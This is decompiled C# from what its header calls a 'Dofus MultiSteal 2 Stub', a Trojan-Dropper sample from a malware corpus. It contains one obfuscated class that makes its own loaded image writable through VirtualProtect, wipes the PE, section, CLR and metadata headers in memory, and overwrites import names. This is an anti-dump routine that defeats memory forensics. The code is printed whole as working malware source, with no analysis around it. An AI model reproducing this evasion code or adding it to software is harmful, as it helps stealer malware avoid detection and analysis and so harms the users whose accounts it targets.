// Decompiled with JetBrains decompiler // Type: ᤮ᯬ�㍇䡯運ப // Assembly: Dofus MultiSteal 2 Stub, Version=2.4.7.1, Culture=neutral, PublicKeyToken=null // MVID: FB10EBBA-F12D-4A39-9029-698DA5104FC7 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.auty-fb61e5bf162b1ba51f1a122ca70c0a312ccdac7776ef8695adbfb94fbd2522c9.exe using System; using System.Runtime.InteropServices; internal static class \u192E\uF515ᯬ\uFFFD\u3347䡯運ப { [DllImport("kernel32.dll", EntryPoint = "VirtualProtect", PreserveSig = false)] private static extern unsafe bool 斸蓬녆\uE5A9甪芌䆃ᡅ( byte* lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); public static unsafe void 阛苕头\u2100䦀簴Ṽ芹() { byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(typeof (\u192E\uF515ᯬ\uFFFD\u3347䡯運ப).Module); byte* numPtr1 = hinstance + 60; byte* numPtr2 = hinstance + (int) *(uint*) numPtr1 + 6; ushort length = *(ushort*) numPtr2; byte* numPtr3 = numPtr2 + 14; ushort num1 = *(ushort*) numPtr3; byte* numPtr4 = numPtr3 + 4 + (int) num1; // ISSUE: untyped stack allocation byte* numPtr5 = (byte*) __untypedstackalloc(new IntPtr(11)); *(int*) numPtr5 = 1818522734; *(int*) (numPtr5 + 4) = 1818504812; *(short*) (numPtr5 + 8) = (short) 108; numPtr5[10] = (byte) 0; // ISSUE: untyped stack allocation byte* numPtr6 = (byte*) __untypedstackalloc(new IntPtr(11)); *(int*) numPtr6 = 1866691662; *(int*) (numPtr6 + 4) = 1852404846; *(short*) (numPtr6 + 8) = (short) 25973; numPtr6[10] = (byte) 0; if (typeof (\u192E\uF515ᯬ\uFFFD\u3347䡯運ப).Module.FullyQualifiedName != "") { uint lpflOldProtect; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4 - 16, 8, 64U, out lpflOldProtect); *(int*) (numPtr4 - 12) = 0; byte* lpAddress1 = hinstance + (int) *(uint*) (numPtr4 - 16); *(int*) (numPtr4 - 16) = 0; if (*(uint*) (numPtr4 - 120) != 0U) goto label_71; label_52: for (int index = 0; index < (int) length; index++) { \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4, 8, 64U, out lpflOldProtect); Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8); numPtr4 += 40; } \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress1, 72, 64U, out lpflOldProtect); byte* lpAddress2 = hinstance + (int) *(uint*) (lpAddress1 + 8); *(int*) lpAddress1 = 0; *(int*) (lpAddress1 + 4) = 0; *(int*) (lpAddress1 + 8) = 0; *(int*) (lpAddress1 + 12) = 0; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress2, 4, 64U, out lpflOldProtect); *(int*) lpAddress2 = 0; byte* numPtr7 = lpAddress2 + 12; byte* numPtr8 = (byte*) ((ulong) ((uint) (numPtr7 + (int) *(uint*) numPtr7) + 7U) & 18446744073709551612UL) + 2; ushort num2 = (ushort) *numPtr8; byte* lpAddress3 = numPtr8 + 2; for (int index1 = 0; index1 < (int) num2; ++index1) { \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress3, 8, 64U, out lpflOldProtect); *(int*) lpAddress3 = 0; byte* numPtr9 = lpAddress3 + 4; *(int*) numPtr9 = 0; lpAddress3 = numPtr9 + 4; for (int index2 = 0; index2 < 8; index2++) { \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress3, 4, 64U, out lpflOldProtect); *lpAddress3 = (byte) 0; byte* numPtr10 = lpAddress3 + 1; if (*numPtr10 == (byte) 0) { lpAddress3 = numPtr10 + 3; break; } *numPtr10 = (byte) 0; byte* numPtr11 = numPtr10 + 1; if (*numPtr11 == (byte) 0) { lpAddress3 = numPtr11 + 2; break; } *numPtr11 = (byte) 0; byte* numPtr12 = numPtr11 + 1; if (*numPtr12 == (byte) 0) { lpAddress3 = numPtr12 + 1; break; } *numPtr12 = (byte) 0; lpAddress3 = numPtr12 + 1; } } return; label_71: byte* numPtr13 = hinstance + (int) *(uint*) (numPtr4 - 120); byte* numPtr14 = hinstance + (int) *(uint*) numPtr13; byte* lpAddress4 = hinstance + (int) *(uint*) (numPtr13 + 12); byte* lpAddress5 = hinstance + (int) *(uint*) numPtr14 + 2; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress4, 11, 64U, out lpflOldProtect); for (int index = 0; index < 11; ++index) lpAddress4[index] = numPtr5[index]; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress5, 11, 64U, out lpflOldProtect); for (int index = 0; index < 11; index++) lpAddress5[index] = numPtr6[index]; goto label_52; } else { uint lpflOldProtect; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4 - 16, 8, 64U, out lpflOldProtect); *(int*) (numPtr4 - 12) = 0; uint num3 = *(uint*) (numPtr4 - 16); *(int*) (numPtr4 - 16) = 0; uint num4 = *(uint*) (numPtr4 - 120); uint[] numArray1 = new uint[(int) length]; uint[] numArray2 = new uint[(int) length]; uint[] numArray3 = new uint[(int) length]; for (int index = 0; index < (int) length; index++) { \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(numPtr4, 8, 64U, out lpflOldProtect); Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8); numArray1[index] = *(uint*) (numPtr4 + 12); numArray2[index] = *(uint*) (numPtr4 + 8); numArray3[index] = *(uint*) (numPtr4 + 20); numPtr4 += 40; } if (num4 != 0U) { for (int index = 0; index < (int) length; index++) { if (numArray1[index] < num4 && num4 < numArray1[index] + numArray2[index]) { num4 = num4 - numArray1[index] + numArray3[index]; break; } } byte* numPtr15 = hinstance + (int) num4; uint num5 = *(uint*) numPtr15; for (int index = 0; index < (int) length; index++) { if (numArray1[index] < num5 && num5 < numArray1[index] + numArray2[index]) { num5 = num5 - numArray1[index] + numArray3[index]; break; } } byte* numPtr16 = hinstance + (int) num5; uint num6 = *(uint*) (numPtr15 + 12); for (int index = 0; index < (int) length; ++index) { if (numArray1[index] < num6 && num6 < numArray1[index] + numArray2[index]) { num6 = num6 - numArray1[index] + numArray3[index]; break; } } uint num7 = *(uint*) numPtr16 + 2U; for (int index = 0; index < (int) length; index++) { if (numArray1[index] < num7 && num7 < numArray1[index] + numArray2[index]) { num7 = num7 - numArray1[index] + numArray3[index]; break; } } \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(hinstance + (int) num6, 11, 64U, out lpflOldProtect); for (int index = 0; index < 11; ++index) (hinstance + (int) num6)[index] = numPtr5[index]; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(hinstance + (int) num7, 11, 64U, out lpflOldProtect); for (int index = 0; index < 11; ++index) (hinstance + (int) num7)[index] = numPtr6[index]; } for (int index = 0; index < (int) length; ++index) { if (numArray1[index] < num3 && num3 < numArray1[index] + numArray2[index]) { num3 = num3 - numArray1[index] + numArray3[index]; break; } } byte* lpAddress6 = hinstance + (int) num3; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress6, 72, 64U, out lpflOldProtect); uint num8 = *(uint*) (lpAddress6 + 8); for (int index = 0; index < (int) length; ++index) { if (numArray1[index] < num8 && num8 < numArray1[index] + numArray2[index]) { num8 = num8 - numArray1[index] + numArray3[index]; break; } } *(int*) lpAddress6 = 0; *(int*) (lpAddress6 + 4) = 0; *(int*) (lpAddress6 + 8) = 0; *(int*) (lpAddress6 + 12) = 0; byte* lpAddress7 = hinstance + (int) num8; \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress7, 4, 64U, out lpflOldProtect); *(int*) lpAddress7 = 0; byte* numPtr17 = lpAddress7 + 12; byte* numPtr18 = (byte*) ((ulong) ((uint) (numPtr17 + (int) *(uint*) numPtr17) + 7U) & 18446744073709551612UL) + 2; ushort num9 = (ushort) *numPtr18; byte* lpAddress8 = numPtr18 + 2; for (int index3 = 0; index3 < (int) num9; index3++) { \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress8, 8, 64U, out lpflOldProtect); *(int*) lpAddress8 = 0; byte* numPtr19 = lpAddress8 + 4; *(int*) numPtr19 = 0; lpAddress8 = numPtr19 + 4; for (int index4 = 0; index4 < 8; ++index4) { \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.斸蓬녆\uE5A9甪芌䆃ᡅ(lpAddress8, 4, 64U, out lpflOldProtect); *lpAddress8 = (byte) 0; byte* numPtr20 = lpAddress8 + 1; if (*numPtr20 == (byte) 0) { lpAddress8 = numPtr20 + 3; break; } *numPtr20 = (byte) 0; byte* numPtr21 = numPtr20 + 1; if (*numPtr21 != (byte) 0) { *numPtr21 = (byte) 0; byte* numPtr22 = numPtr21 + 1; if (*numPtr22 == (byte) 0) { lpAddress8 = numPtr22 + 1; break; } *numPtr22 = (byte) 0; lpAddress8 = numPtr22 + 1; } else { lpAddress8 = numPtr21 + 2; break; } } } } } }